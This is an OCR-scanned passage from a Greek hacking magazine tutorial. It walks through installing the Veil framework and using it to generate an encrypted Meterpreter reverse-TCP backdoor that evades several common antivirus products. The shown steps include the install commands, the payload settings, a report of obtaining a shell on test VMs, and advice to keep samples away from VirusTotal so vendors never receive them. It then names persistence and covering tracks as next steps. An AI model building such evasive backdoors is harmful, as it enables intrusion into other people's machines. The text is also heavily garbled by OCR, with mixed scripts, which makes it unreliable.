TERMINAL_CLEAR = clear 

VEIL_PATH = /root/Veil-master/ 

PAYLOAD_SOURCE_PATH = /root/veil-output/source/ 
Path '/root/veil-output/source/' Created 
PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/ 
Path '/root/veil-output/compiled/' Created 

TEMP_DIR = /tmp/ 

METASPLOIT_PATH = /usr/share/metasploit-framework/ 
PYINSTALLER_PATH = /opt/pyinstaller-2.0/ 
MSFVENOM_OPTIONS = 

Path '/root/veil-output/handlers/' Created 
GENERATE_HANDLER_SCRIPT = True 

HANDLER_PATH = /root/veil-output/handlers/ 

Path '/etc/veil/' Created 

Configuration File Written To '/etc/veil/settings.py' 


ας ] 


гоотака1164си5: 


H εγκατάσταση του Veil μόλις ολοκληρώθηκε επιτυχώς. 
Έχετε υπόψη ότι ката τη διάρκειά της θα προστεθούν 
каша 700рла уға πακέτα στο σύστημα. Εντάξει, ἰσως εἶναι 
λιγότερα, όμως εἰναι πολλά. 


Προσπέρασμα anti-virus 


Αν тора ο χρήστης subZraw εἰχε κἄποιο anti-virus, ті θα γινόταν τρέχοντας το 
сћеск.ехе; Εξαρτάται апо то anti-virus. Ката τις (µη-συστηµατικἐς) δοκιμές µας, 
διαπιστώναµε ὁτι το δωρεὰν Microsoft Security Essentials σε Windows 7 Premium 
64bit physical host, апотџухаме διαρκώς ма δει κἀτι то περίεργο στο сћеск.ехе. 
Έτσι, το ἄφηνε να εκτελείται ωραία και кала. То ἴδιο συνέβαινε και µε то MSE о" 
ἑνα Windows 7 Ultimate 32bit VirtualBox VM. Την ἴδια στιγμή, оџос, ο Χρήστος о 
Λαμπρινός, φίλος κι αναγνώστης του περιοδικού, µας ενηµέρωνε µέσω Facebook от! 
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ката τις δικές του δοκιμές то MSE πράγματι χαρακτήριζε то сћеск.ехе ос таімаге?. 
Ὅπως και να 'χει, то MSE εἰναι μάλλον η εξαίρεση пара ο κανόνας. Πράγματι, ἄλλα 
δωρεάν προγράμματα anti-virus που δοκιµάσαμε, ὁπως τα AVG, Avira και Avast, 
џаркарам *арёсос̧* το сһеск.ехе ως malware και χτυπούσαν (δυνατούς) συναγερ- 
μούς. 


Ті κάνει λοιπὀν ἑνας репіевеег, προκειµένου το backdoor του να εἶναι μη-ανιχνεύ- 
стро апо προγράµµατα anti-virus; Σε µια πρὠτη προσέγγιση, µπορεί να καταφύγει 
στα εργαλεία msfpayload και msfencode ἡ στο msfvenom, το οποίο ουσιαστικά OUV- 
δυάζει τις λειτουργίες των δύο προηγουμένων. Με τα εργαλεία αυτά θα επιχειρήσει 
να παρᾶξει ἑνα κρυπτογραφημένο εκτελέἐσιµο που *бєу* θα παρουσιάζει κἄποια 
γνωστά για τα anti-virus ҳарактпріотіка, οπὀτε Жбеу% θα θεωρείται κακὀβουλο. 
Αν θέλετε ма πειραματιστείτε µε та msfpayload και msfencode, διαβάστε прота то 
σχετικὀ άρθρο που εἶναι δημοσιευμένο online, στο site του περιοδικού: 


http://deltahacker .gr/2011/03/15/antivirus-bypass 


Πριν όμως ξεκινήσετε τις δοκιμές, σας хроотаџе µια προειδοποίηση: Τα σύγχρονα 
anti-virus --борғау ἡ eni πληρωμή, δεν ἐχει σηµασία-- εἶναι μάλλον απίθανο να 
ξεγελαστούν апо τις техмікес του msfencode. Αν λοιπὀν θέλουμε та backdoors που 
φτιάχνουμε ма 'χουν καλὲς πιθανότητες επιβίωσης Εκεἰ Έξω (ТМ), τότε οπωσδήποτε 
οφείλουμε να εφαρμόζουμε πιο προχωρημένες μεθόδους "μπερδέματος". Αναφερὀ- 
μαστε βεβαίως σε τεχνικὲς code obfuscation και encryption και, προς μεγάλη ικανο- 
ποίηση каде pentester, υπάρχουν πολλά scripts αλλά κι ολόκληρα frameworks που 
εφαρμόζουν αυτές ακριβώς тіс τεχνικὲς. Στη συνέχεια γνωρίζουμε гма апо τα πιο 
кама frameworks για την парауоуп undetectable backdoors. 


Εξαιρετικά αποτελεσματικὀ καμουφλάζ 


да εστιάσουµε την προσοχὴ µας ото Veil, ἑνα ικανότατο εργαλείο --ἡ καλύτερα 
платфорџа— για τη δηµιουργία Metasploit payloads που εἶναι αόρατα апо τα περισ- 
σότερα προγράμματα anti-virus (һ<<р<://уе11-еуасіоп.сот). То Мей χρησιμοποιεἰ τη 
γλὠσσα Python για την κατασκευἠ том payloads. Όμως η Python δεν χρειάζεται ма 
'ναι εγκατεστημένη στο ипхампџа-отохо, αφού μετά τη δηµιουργία емос payload το 
Veil το μετατρέπει σε Windows executable. Тора, ау και то Veil µπορεί να χρησιμο- 
ποιηθεἰ σε οποιοδήποτε σύστημα υπάρχει εγκατεστημένη η Python, στην прауџат!- 
κότητα εἶναι σχεδιασμένο για το περιβάλλον του Kali Linux. Ека! θα το δοκιµάσουµε 
κι εμείς, λοιπὀν. 


Θα παρατηρήσετε бт! στα repositories του Кай υπάρχει поп éva πακέτο ονόματι 
"νεῖ", επομένως το βήμα του "apt-get install ме!" φαντάζει ос профамгс. Ωστόσο 
ката τη διάρκεια των δικὠν µας δοκιμών, μετὰ то κατέβασμα των απαραίτητων na- 
κέτων κι ὁταν ερχόταν η στιγµἠ για то σκριπτάκι setup.py, η διαδικασία αποτύγχανε. 
Н λύση ἠρθε паіруоутас τον κὠδικα του Veil απευθείας апо το GitHub. Δείτε τα апла 
βήματα: 

root@kali64cus:~# са 


root@kali64cus:~# wget https ://github.com/ChrisTruncer/Veil/archive/ 
master.zip 


root@kali64cus:~# unzip master.zip 


1. Τα καλά της κοινωνικής δικτύωσης: Δημοσιεύεις éva screenshot µε µια σχετικἠ περιγραφἠ και (σχεδὀν) αµέσως ἐχεις feedback. Στην nepi- 
πτωση που συζητάμε, то feedback προσγειώθηκε στο προσωπικό, Facebook Inbox του γράφοντα. 
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root@kali64cus:~# cd Veil-master/setup 
root@kali64cus:~/Veil-master/setup# ./setup.sh 


Και μερικὲς παρατηρήσεις, για ово θα περιμένετε να ολοκληρωθεί η διαδικασία της 
εγκατάστασης: 


ο Θα κατέβουν µια караВіа пакгтаг, αλλά аџто εἶναι φυσιολογικό. 


ο Σε ὀλες τις ερωτήσεις δεχτείτε τις προκαθορισμένες απαντήσεις, πατώντας 
απλά (Епеегі ἡ κάνοντας κλικ στο Мехі. 


ο То Veil χρειάζεται ёха μίνι περιβάλλον Windows, προκειµένου να μετατρέπει та 
Python scripts σε Windows ΕΧΕς. То εν λόγω περιβάλλον το εξομοιώνει µη τη 
βοήθεια του WINE (http://winehq.org), οπὀτε ката τη διάρκεια της гукатаота- 
σης του Veil θα δείτε γνὠριµους апо та Windows installation wizards. Αυτοί, 
εγκαθιστούν την Python για Windows και μερικὲς απαραίτητες βιβλιοθήκες — 
πάντα μέσα στο περιβάλλον του WINE. 

ο Επειδἠ σε κἄποιο στάδιο της εγκατάστασης του Мен πρέπει να τρέξουν αυτοί οι 
Windows installation wizards, εἶναι υποχρεωτικὀὸ να εργάζεστε στο περιβάλλον 
γραφικών. Θα то πούμε κι αλλιώς: Μην κάνετε το λάθος που камаџе αρχικά 
еџејс, Отау δουλεύαμε апо µια text-based console ἐχοντας συνδεθεί στο Kali 
VM µέσω 55Η. Πληροφοριακά αναφέρουμε от! η εγκατάσταση *бєу* ἐγινε σω- 
ота, δεν πήραμε (ἡ τουλάχιστον δεν παρατηρήσαμε) капою μήνυμα λάθους, 
το Veil φαινόταν να λειτουργεί µια хара αλλά *õev* παρήγαγε та темка ΕΧΕς, 
οπότε για шой τουλάχιστον мера ψάχναμε να βρούμε τι εἰχε στραβώσει και 
στην ουσία κυνηγούσαμε την ουρά µας (ἡ κάτι τέτοιο, µιας кі ο γράφων δεν 
εἶναι σίγουρος ὁτι το συγκεκριμένο σχήμα λόγου ταιριάζει *ка!* εδώ). 

Και μετὰ апо ὁλη αυτή την φλυαρία, то Veil εἶναι паметошо να µας προφέρει τις 
υπηρεσίες του. 


гооака1164си5 : ~/Ме 1 -тазТег /зећир# са ~/Ме11-тазТег 
root@kali64cus:~/Veil-master# .//е11.ру 


То проураџџа διαθέτει ἑνα σύστημα μενού, µέσα апо тіс σελίδες του οποίου uno- 
роон να φτιάχνουμε криоптоурафпџема backdoors. Παραθέτουμµε τις επιλογἐς που 
κάναμε για éva апо εκεῖνα που φτιάξαμε και δοκιµάσαμε µε επιτυχία: 


ο Available payloads 


Διαλέξαμε то υπ' арібыоу 11 (python/AESEncrypted). Ουσιαστικά, εδώ καθο- 
ρἰζουμε τη γλὠσσα που θα χρησιµοποιηθεἰ, καθώς και τη µἐθοδο криптоура- 
Фпопс. 

ο Use msfvenom ог supply custom shellcode? 
© Афпоаџе την προεπιλογἠ (msfvenom) 


© Ос payload για την παροχἠ πρόσβασης, αφήσαμε το windows/meterpreter/ 
reverse_tcp 


© Στην LHOST δώσαμε то IP του џпхампџатос µας (192.168.200.30) 
© Στην [ΡΟΒΤ δώσαμε την τιμή 4444 


2. A boatload of packages, ντε. 
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9 Δεν καθορίσαµε ἑξτρα παραμέτρους για то то епот 
ο Press [enter] for 'payload' 


© Το προκαθορισμένο, Васко ὀνομα για το εκτελἑἐσιµο που θα δημιουργηθεἰ 
εἶναι το "payload", αλλά еџејс το αλλάξαμε σε "trythis" 


9 па τη δημιουργία του EXE αφήσαμε την προεπιλογή, που σηµαίνει χρήση 
του εργαλείου Pyinstaller. Αν ппуамаџе µε то Ру2Ехе, θα χρειαζόµασταν 
ἑνα алло РС ἡ УМ µε Windows, ὀπου θα του µεταφέραμε κάποια πολύ ou- 
окекршема αρχεία που θα παρήγαγε то Ме! και θα κάναμε εκεἰ τη џетатропп) 
σε ΕΧΕ. 


а ~Neil-master : Меру 2) 09) ος 
Fi 


@veilevasion 


[+] Executable written to: 


Language: 

Payload: AESEncrypted 

Shellcode: windows/meterpreter/reverse_tcp 
Options: LHOST=192.168.200.30 LPORT=4444 


Required Options: compile_to_exe=Y inject_method=virtual use_pyherion=N 
Payload File: /root/veil-output/source/trythis.py 
Handler File: /root/veil-output/handlers/trythis_handler.rc 


І%1 Your payload files have been generated, don't get caught! 
[!] And don't submit samples to any online scanner! ;) 


[>] press any key to return to the main menu: β 


a ег:Уейру ЕС! +:Базһ 


То прото µας obfuscated και encrypted backdoor για Windows, εἶναι 
γεγονός! То Veil αποθηκεύει та αντίστοιχα εκτελέσιμα στον κατάλογο / 
root/veil-output/compiled. Ау ката τη διάρκεια της εγκατάστασης кап 

στραβώσει, εἶναι πολύ πιθανό Оті το πρόγραµµα Ва δείχνει να λειτουργεί. 
О ғу λόγω κατάλογος, όµως, ба παραμένει κενός. 


Το αρχείο που µας ἐδωσε το Мей ἦταν το trythis.exe και βρισκόταν στον κατάλογο 
/гтоо ме -ошри сотрпед. Εκεἰ θα βρίσκετε κι εσεἰς τα δικἀ σας εκτελἑσιµα. Μετα- 
фераце το trythis.exe σε τέσσερα πανομοιότυπα Windows 7 Ultimate 32bit VMs, та 
οποία διέφεραν μόνον ως прос то anti-virus που ἑτρεχαν. Προς µεγάλη µας ἐκπληξη 
(και хара), κανένα δεν χτύπησε συναγερμό για το trythis.exe — ακόµη κι όταν то 
ενεργοποιἠσαµε. Τα εν λόγω anti-virus ἦταν та Microsoft Security Essentials, AVG, 
Avira και Avast. Όλα ἦταν στις πλέον πρόσφατες εκδόσεις τους και πλήρως ενηµε- 
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ρωμένα µε τα τελευταία virus definitions. Να σημειώσουμε επἰσης От! για та AVG, 
Avira και Avast εἰχαμε εγκατεστημένες τις δωρεὰν εκδόσεις, αν και πιστεύουμε от! 
ἴδια αποτελέσµατα θα пагрмаџе και нє TIG еп! πληρωμή. Προκειμένου εξάλλου να δι- 
απιστώσουμε бт! το trythis.exe ¿kave αυτό που υποσχόταν, σε µια κονσόλα του Kali 
σηκώσαμε vav reverse handler µε το msfcli (ακριβώς ὁπως δεἰξαµε προηγουµενως) 
και μετὰ треЕане το trythis.exe σε ἑνα апо τα δοκιµαστικἀ Windows VMs. Κλάσματα 
του δευτερολέπτου αργότερα εἰχαμε Метегргегег shell στο αντίστοιχο УМ. Επαναλά- 
Bape τη διαδικασία και στα υπόλοιπα. Έτσι, για παν ενδεχόμενο. 


Μακριά апо online υπηρεσίες anti-virus 


Ката τη διάρκεια των δοκιμών σας нє то Мей ἡ µε опоо ἆλλο εργαλείο της катпүо- 
piac επιστρατεύσετε, θα εἶναι ἰσως μεγάλος о πειρασμὸς να στέλνετε та EXE που 
φτιάχνετε σε υπηρεσίες ὁπως αυτή στο https://virustotal.com. Το καλὸ μ' αυτὲς 
τις оппреојес εἶναι ὁτι ελέγχουν τα δείγματα που τους υποβάλλουμε µε пара 
πολλὲς μηχανές anti-virus. Τελευταία фора που επισκεφθήκαμε то VirusTotal, £i- 
даџе оті υποστήριζε 47 διαφορετικὲς μηχανές. То како µε тіс ἰδιες υπηρεσίες εἶναι 
оті στέλνουν τα δείγματα στις εταιρεἰες που φτιάχνουν τα αντίστοιχα anti-virus. 
Ἔτσι, гема EXE που θα στείλετε σήμερα στο VirusTotal και хдемх θα ανιχευτεἰ 
апо το AntiVirusRUS, μερικὲς μέρες αργότερα па е! м! ανιχνεύεται камомкотата. 
Προσέξτε: Ορισμένες апо τις online υπηρεσίες ελέγχου παρέχουν στο χρήση τη 
δυνατότητα απαγόρευσης της υποβολής δειγμάτων στις εταιρείες. Το ау θα τις 
εµπιστευτείτε ἡ ὀχι, εἶναι σίγουρα δικὀ σας ζήτημα. Εμείς, πάντως, θα σας npo- 
τείνουμε аџто που προτείνουν και οι δημιουργοί του Veil: Κάντε τους ελέγχους σε 
δικά σας VMs και ὀχι στις online υπηρεσίες ελέγχου! 


Η συνέχεια 


Μετὰ απὀ την επιτυχἠ πρὀσβαση σε ἑνα απομακρυσμένο σύστημα, εἶναι πολλά τα 
ζητήματα που ενδέχεται ν' αντιμετωπίσουμε. Парадгтоџџе џерка — όχι кат! ανά- 
γκη σε σειρὰ σπουδαιότητας. 


ο Έχουμε δικαιώματα διαχειριστή συστήματος; 
ο Αν δεν ἐχουμε, пос μπορούμε ν' αποκτήσουμε; 


ο Πώς διασφαλἰζουµε бт! θα συνεχίσουμε να έχουμε πρὀσβαση στο αποµακρυ- 
σμἐένο σύστημα, ακόµη και μετὰ апо reboot; 


ο Τι περισσὀτερο μπορούμε να πετύχουμε, ξεκινώντας απὀ τον υπολογιστή στον 
οποίο έχουμε ἠδη πρὀσβαση; 


ο Пос καθαρἰζουµε τα ἴχνη µας; 


Φανταζόμαστε πως θα συμφωνήσετε от: οι προκλήσεις εἶναι εξαιρετικά ενδιαφέ- 
ρουσες. Едо θα εἱμαστε όμως να τις αντιμετωπίζουμε, µε περισσότερα άρθρα στο 
περιοδικό алла κι επεισόδια του deltaCast ;) 


Καλὴ διασκέδαση! 
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НАСЈКЕВК 


Στη 3η χρονιά και συνεχίζουμε ακάθεκτοι! 


Μηνιαίο περιοδικό deltaHacker, http://deltahacker.gr 
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